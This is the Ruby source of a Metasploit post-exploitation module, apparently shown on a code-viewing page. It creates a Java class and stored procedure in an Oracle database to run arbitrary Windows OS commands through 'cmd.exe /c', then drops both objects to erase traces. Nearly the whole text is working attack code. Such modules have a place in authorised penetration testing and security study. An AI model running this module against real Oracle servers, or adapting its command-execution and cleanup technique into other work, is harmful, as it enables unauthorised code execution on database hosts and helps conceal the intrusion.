Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb
Views: 11785
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle Java execCommand (Win32)',11'Description' => %q{12This module will create a java class which enables the execution of OS commands.13},14'Author' => [ 'MC' ],15'License' => MSF_LICENSE,16'References' =>17[18[ 'URL', 'https://www.metasploit.com/users/mc' ],19],20'DisclosureDate' => '2007-12-07'))2122register_options(23[24OptString.new('CMD', [ false, 'The OS command to execute.', 'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']),25])26end2728def run29return if not check_dependencies3031source = Rex::Text.rand_text_alpha_upper(rand(10) + 1)32name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)3334java = "35create or replace and resolve java source named \"#{source}\" as36import java.lang.*;37import java.io.*;38public class #{source}39{40public static void execCommand (String command) throws IOException41{42Runtime.getRuntime().exec(command);43}44};45"4647procedure = "48create or replace procedure #{name} (p_command in varchar2)49as language java50name '#{source}.execCommand (java.lang.String)';51"5253exec = "begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;"5455drops = "drop java source #{source}"5657dropp = "drop procedure #{name}"5859begin60print_status("Creating java source '#{source}'...")61prepare_exec(java)62rescue => e63return64end6566print_status("Creating procedure '#{name}'...")67prepare_exec(procedure)6869print_status("Sending command: '#{datastore['CMD']}'")70prepare_exec(exec)7172print_status("Removing java source '#{source}'...")73prepare_exec(drops)7475print_status("Removing procedure '#{name}'...")76prepare_exec(dropp)7778end79end808182